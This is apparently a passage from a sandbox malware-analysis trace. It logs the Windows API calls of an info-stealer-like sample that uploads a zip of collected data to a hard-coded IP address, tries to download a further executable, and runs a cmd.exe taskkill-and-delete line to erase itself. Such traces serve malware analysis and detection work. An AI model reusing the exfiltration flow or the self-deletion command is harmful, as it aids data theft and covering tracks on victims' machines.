lpMem=0x236abb8 | out: hHeap=0x2360000) returned 1 [0149.548] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23680c8 | out: hHeap=0x2360000) returned 1 [0149.548] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ab40 | out: hHeap=0x2360000) returned 1 [0149.548] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2368430 | out: hHeap=0x2360000) returned 1 [0149.548] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236abd0 | out: hHeap=0x2360000) returned 1 [0149.548] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2368798 | out: hHeap=0x2360000) returned 1 [0149.548] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bfa28 | out: hHeap=0x2360000) returned 1 [0149.549] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb988 | out: hHeap=0x2360000) returned 1 [0149.549] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2366918 | out: hHeap=0x2360000) returned 1 [0149.549] CreateFileA (lpFileName="03845cb8-7441-4a2f-8c0f-c90408af57788617605785.zip" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\03845cb8-7441-4a2f-8c0f-c90408af57788617605785.zip"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0149.549] GetFileSize (in: hFile=0x2f8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1bca8 [0149.549] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba1e0 [0149.549] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x40) returned 0x32ba270 [0149.549] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba1e0 | out: hHeap=0x2360000) returned 1 [0149.549] ReadFile (in: hFile=0x2f8, lpBuffer=0x32403c2, nNumberOfBytesToRead=0x1bca8, lpNumberOfBytesRead=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x32403c2*, lpNumberOfBytesRead=0x19f758*=0x1bca8, lpOverlapped=0x0) returned 1 [0149.550] CloseHandle (hObject=0x2f8) returned 1 [0149.560] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba270 | out: hHeap=0x2360000) returned 1 [0149.560] GetLastError () returned 0x0 [0149.560] SetLastError (dwErrCode=0x0) [0149.560] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0149.560] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f624, dwBufferLength=0x4) returned 1 [0149.560] InternetConnectA (hInternet=0xcc0004, lpszServerName="23.88.105.196", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0149.561] InternetSetOptionA (hInternet=0xcc0008, dwOption=0x41, lpBuffer=0x1, dwBufferLength=0x0) returned 0 [0149.562] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="POST", lpszObjectName="", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0149.562] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x2368e58 [0149.562] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0149.562] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0149.562] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0149.562] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0149.562] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2368e58 | out: hHeap=0x2360000) returned 1 [0149.562] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340f40 [0149.563] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x47) returned 0x32bb608 [0149.563] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f40 | out: hHeap=0x2360000) returned 1 [0149.563] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A", dwHeadersLength=0x3f, dwModifiers=0x20000000) returned 1 [0149.563] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Content-Length: 114749", dwHeadersLength=0x16, dwModifiers=0x20000000) returned 1 [0149.563] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x3240048*, dwOptionalLength=0x1c03d) returned 1 [0150.046] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x2e, lpBuffer=0x19f6b4, lpdwBufferLength=0x19f620, lpdwIndex=0x0 | out: lpBuffer=0x19f6b4, lpdwBufferLength=0x19f620, lpdwIndex=0x0) returned 0 [0150.046] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0150.046] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3687020, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f4a4 | out: lpBuffer=0x3687020*, lpdwNumberOfBytesRead=0x19f4a4*=0x2) returned 1 [0150.047] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x3687022, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f4a4 | out: lpBuffer=0x3687022*, lpdwNumberOfBytesRead=0x19f4a4*=0x0) returned 1 [0150.047] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f4ec, lpdwBufferLength=0x19f4a4, lpdwIndex=0x0 | out: lpBuffer=0x19f4ec, lpdwBufferLength=0x19f4a4, lpdwIndex=0x0) returned 0 [0150.047] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0150.047] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb608 | out: hHeap=0x2360000) returned 1 [0150.047] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0150.047] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0150.048] DeleteFileA (lpFileName="03845cb8-7441-4a2f-8c0f-c90408af57788617605785.zip" (normalized: "c:\\programdata\\h70j3bxqys8lvfgzf6vkcop1x\\03845cb8-7441-4a2f-8c0f-c90408af57788617605785.zip")) returned 1 [0150.050] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x7a120) returned 0x3340f40 [0150.062] GetLastError () returned 0x0 [0150.062] SetLastError (dwErrCode=0x0) [0150.062] lstrcatA (in: lpString1="", lpString2="C:\\ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0150.062] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x30) returned 0x3340048 [0150.062] Sleep (dwMilliseconds=0x64) [0150.175] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19f388 | out: lpSystemTimeAsFileTime=0x19f388*(dwLowDateTime=0x508e8d2b, dwHighDateTime=0x1d7b434)) [0150.175] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x2) returned 0x2366928 [0150.175] GetTickCount () returned 0x15b6440 [0150.175] GetLastError () returned 0x0 [0150.175] SetLastError (dwErrCode=0x0) [0150.175] GetLastError () returned 0x0 [0150.176] SetLastError (dwErrCode=0x0) [0150.176] GetLastError () returned 0x0 [0150.176] SetLastError (dwErrCode=0x0) [0150.176] GetLastError () returned 0x0 [0150.176] SetLastError (dwErrCode=0x0) [0150.176] GetLastError () returned 0x0 [0150.176] SetLastError (dwErrCode=0x0) [0150.176] GetLastError () returned 0x0 [0150.176] SetLastError (dwErrCode=0x0) [0150.176] GetLastError () returned 0x0 [0150.176] SetLastError (dwErrCode=0x0) [0150.176] GetLastError () returned 0x0 [0150.176] SetLastError (dwErrCode=0x0) [0150.176] GetLastError () returned 0x0 [0150.176] SetLastError (dwErrCode=0x0) [0150.176] GetLastError () returned 0x0 [0150.177] SetLastError (dwErrCode=0x0) [0150.177] GetLastError () returned 0x0 [0150.177] SetLastError (dwErrCode=0x0) [0150.177] GetLastError () returned 0x0 [0150.177] SetLastError (dwErrCode=0x0) [0150.177] GetLastError () returned 0x0 [0150.177] SetLastError (dwErrCode=0x0) [0150.177] GetLastError () returned 0x0 [0150.177] SetLastError (dwErrCode=0x0) [0150.177] GetLastError () returned 0x0 [0150.177] SetLastError (dwErrCode=0x0) [0150.177] GetLastError () returned 0x0 [0150.178] SetLastError (dwErrCode=0x0) [0150.178] GetLastError () returned 0x0 [0150.178] SetLastError (dwErrCode=0x0) [0150.178] GetLastError () returned 0x0 [0150.178] SetLastError (dwErrCode=0x0) [0150.178] GetLastError () returned 0x0 [0150.178] SetLastError (dwErrCode=0x0) [0150.178] GetLastError () returned 0x0 [0150.178] SetLastError (dwErrCode=0x0) [0150.178] GetLastError () returned 0x0 [0150.178] SetLastError (dwErrCode=0x0) [0150.178] GetLastError () returned 0x0 [0150.178] SetLastError (dwErrCode=0x0) [0150.179] GetLastError () returned 0x0 [0150.179] SetLastError (dwErrCode=0x0) [0150.179] GetLastError () returned 0x0 [0150.179] SetLastError (dwErrCode=0x0) [0150.179] GetLastError () returned 0x0 [0150.179] SetLastError (dwErrCode=0x0) [0150.179] GetLastError () returned 0x0 [0150.179] SetLastError (dwErrCode=0x0) [0150.179] GetLastError () returned 0x0 [0150.180] SetLastError (dwErrCode=0x0) [0150.180] GetLastError () returned 0x0 [0150.180] SetLastError (dwErrCode=0x0) [0150.180] GetLastError () returned 0x0 [0150.180] SetLastError (dwErrCode=0x0) [0150.180] GetLastError () returned 0x0 [0150.180] SetLastError (dwErrCode=0x0) [0150.180] GetLastError () returned 0x0 [0150.180] SetLastError (dwErrCode=0x0) [0150.180] GetLastError () returned 0x0 [0150.180] SetLastError (dwErrCode=0x0) [0150.180] GetLastError () returned 0x0 [0150.181] SetLastError (dwErrCode=0x0) [0150.181] GetLastError () returned 0x0 [0150.181] SetLastError (dwErrCode=0x0) [0150.181] GetLastError () returned 0x0 [0150.181] SetLastError (dwErrCode=0x0) [0150.181] GetLastError () returned 0x0 [0150.181] SetLastError (dwErrCode=0x0) [0150.181] GetLastError () returned 0x0 [0150.181] SetLastError (dwErrCode=0x0) [0150.181] GetLastError () returned 0x0 [0150.181] SetLastError (dwErrCode=0x0) [0150.181] GetLastError () returned 0x0 [0150.181] SetLastError (dwErrCode=0x0) [0150.181] GetLastError () returned 0x0 [0150.182] SetLastError (dwErrCode=0x0) [0150.182] GetLastError () returned 0x0 [0150.182] SetLastError (dwErrCode=0x0) [0150.182] GetLastError () returned 0x0 [0150.182] SetLastError (dwErrCode=0x0) [0150.182] GetLastError () returned 0x0 [0150.182] SetLastError (dwErrCode=0x0) [0150.182] GetLastError () returned 0x0 [0150.182] SetLastError (dwErrCode=0x0) [0150.182] GetLastError () returned 0x0 [0150.182] SetLastError (dwErrCode=0x0) [0150.182] GetLastError () returned 0x0 [0150.182] SetLastError (dwErrCode=0x0) [0150.182] GetLastError () returned 0x0 [0150.183] SetLastError (dwErrCode=0x0) [0150.183] GetLastError () returned 0x0 [0150.183] SetLastError (dwErrCode=0x0) [0150.183] GetLastError () returned 0x0 [0150.183] SetLastError (dwErrCode=0x0) [0150.183] GetLastError () returned 0x0 [0150.183] SetLastError (dwErrCode=0x0) [0150.183] GetLastError () returned 0x0 [0150.183] SetLastError (dwErrCode=0x0) [0150.183] GetLastError () returned 0x0 [0150.183] SetLastError (dwErrCode=0x0) [0150.183] GetLastError () returned 0x0 [0150.184] SetLastError (dwErrCode=0x0) [0150.184] GetLastError () returned 0x0 [0150.184] SetLastError (dwErrCode=0x0) [0150.184] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33406a0 [0150.184] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0150.184] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="7ZIM2PG2A4AGULT9" | out: lpString1="C:\\ProgramData\\7ZIM2PG2A4AGULT9") returned="C:\\ProgramData\\7ZIM2PG2A4AGULT9" [0150.184] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33406a0 | out: hHeap=0x2360000) returned 1 [0150.184] lstrcatA (in: lpString1="C:\\ProgramData\\7ZIM2PG2A4AGULT9", lpString2=".exe" | out: lpString1="C:\\ProgramData\\7ZIM2PG2A4AGULT9.exe") returned="C:\\ProgramData\\7ZIM2PG2A4AGULT9.exe" [0150.184] GetLastError () returned 0x0 [0150.184] SetLastError (dwErrCode=0x0) [0150.184] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0150.184] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f39c, dwBufferLength=0x4) returned 1 [0150.184] InternetConnectA (hInternet=0xcc0004, lpszServerName="ok", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0150.184] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0150.185] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x80) returned 0x2369430 [0150.185] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0150.185] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0150.185] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0150.185] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0150.185] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2369430 | out: hHeap=0x2360000) returned 1 [0150.185] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 [0152.474] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0152.474] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0152.474] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0152.474] GetLastError () returned 0x0 [0152.474] SetLastError (dwErrCode=0x0) [0152.474] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340f40 | out: hHeap=0x2360000) returned 1 [0152.474] CoUninitialize () [0152.475] SetCurrentDirectoryA (lpPathName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 1 [0152.479] SHFileOperationA (in: lpFileOp=0x19f7a8*(hwnd=0x0, wFunc=0x3, pFrom="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X", pTo="", fFlags=0x414, fAnyOperationsAborted=0, hNameMappings=0xb6c40000, lpszProgressTitle=0x4b) | out: lpFileOp=0x19f7a8*(hwnd=0x0, wFunc=0x3, pFrom="C:\\ProgramData\\H70J3BXQYS8LVFGZF6VKCOP1X", pTo="", fFlags=0x414, fAnyOperationsAborted=0, hNameMappings=0xb6c40000, lpszProgressTitle=0x4b)) returned 2 [0153.347] GetCurrentProcessId () returned 0x748 [0153.347] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x748) returned 0x4dc [0153.347] GetModuleFileNameExA (in: hProcess=0x4dc, hModule=0x0, lpFilename=0x19f5d0, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe")) returned 0x62 [0153.409] CloseHandle (hObject=0x4dc) returned 1 [0153.410] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x3340048 [0153.410] GetCurrentProcessId () returned 0x748 [0153.410] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x748) returned 0x4dc [0153.410] EnumProcessModules (in: hProcess=0x4dc, lphModule=0x19f5b8, cb=0x4, lpcbNeeded=0x19f5b4 | out: lphModule=0x19f5b8, lpcbNeeded=0x19f5b4) returned 1 [0153.412] GetModuleBaseNameA (in: hProcess=0x4dc, hModule=0x400000, lpBaseName=0x19f5cc, nSize=0x104 | out: lpBaseName="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe") returned 0x44 [0153.412] CloseHandle (hObject=0x4dc) returned 1 [0153.412] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362af0 [0153.412] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x77) returned 0x23604a0 [0153.412] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362af0 | out: hHeap=0x2360000) returned 1 [0153.412] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xe0) returned 0x23611c0 [0153.412] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0153.412] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x14f) returned 0x236ac90 [0153.412] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23611c0 | out: hHeap=0x2360000) returned 1 [0153.412] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x2360000) returned 1 [0153.460] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Windows\\System32\\cmd.exe", lpParameters="/c taskkill /im 7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe /f & timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe\" & del C:\\ProgramData\\*.dll & exit", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0154.467] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x236ac90 | out: hHeap=0x2360000) returned 1 [0154.467] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32bb838 | out: hHeap=0x2360000) returned 1 [0154.467] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2361078 | out: hHeap=0x2360000) returned 1 [0154.467] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3240048 | out: hHeap=0x2360000) returned 1 [0154.467] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3687020 | out: hHeap=0x2360000) returned 1 [0154.477] CoUninitialize () [0154.477] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x32ba660 | out: hHeap=0x2360000) returned 1 [0154.477] Sleep (dwMilliseconds=0x6f) [0154.590] Sleep (dwMilliseconds=0x22b) [0155.285] Sleep (dwMilliseconds=0x14d) [0157.012] Sleep (dwMilliseconds=0x6f) [0157.597] Sleep (dwMilliseconds=0x22b) [0158.386] Sleep (dwMilliseconds=0x14d) [0159.495] Sleep (dwMilliseconds=0x6f) [0159.910] Sleep (dwMilliseconds=0x22b) [0161.620] Sleep (dwMilliseconds=0x14d) [0161.982] Sleep (dwMilliseconds=0x6f) [0162.324] Sleep (dwMilliseconds=0x22b) [0163.112] Sleep (dwMilliseconds=0x14d) [0163.638] Sleep (dwMilliseconds=0x6f) [0164.130] Sleep (dwMilliseconds=0x22b) [0165.039] Sleep (dwMilliseconds=0x14d) [0165.469] Sleep (dwMilliseconds=0x6f) [0166.652] Sleep (dwMilliseconds=0x22b) [0167.219] Sleep (dwMilliseconds=0x14d) [0167.581] Sleep (dwMilliseconds=0x6f) Thread: id = 2 os_tid = 0xdfc Thread: id = 3 os_tid = 0x508 Thread: id = 4 os_tid = 0xca0 Thread: id = 5 os_tid = 0xf2c Thread: id = 13 os_tid = 0x5a4 Thread: id = 14 os_tid = 0xd58 Thread: id = 15 os_tid = 0xe88 Thread: id = 16 os_tid = 0x234 Thread: id = 17 os_tid = 0x2a0 Process: id = "2" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0xb042000" os_pid = "0x884" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x278" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 347 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 348 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 349 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 350 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 351 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 352 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 353 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 354 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 355 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 356 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 357 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 358 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 359 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 360 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 361 start_va = 0x1f0000 end_va = 0x1f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 362 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 363 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 364 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 365 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 366 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 367 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 368 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 369 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 370 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 371 start_va = 0x530000 end_va = 0x530fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 372 start_va = 0x540000 end_va = 0x543fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 373 start_va = 0x550000 end_va = 0x551fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 374 start_va = 0x560000 end_va = 0x560fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 375 start_va = 0x570000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 376 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 377 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 378 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 379 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 380 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 381 start_va = 0x6c0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 382 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: 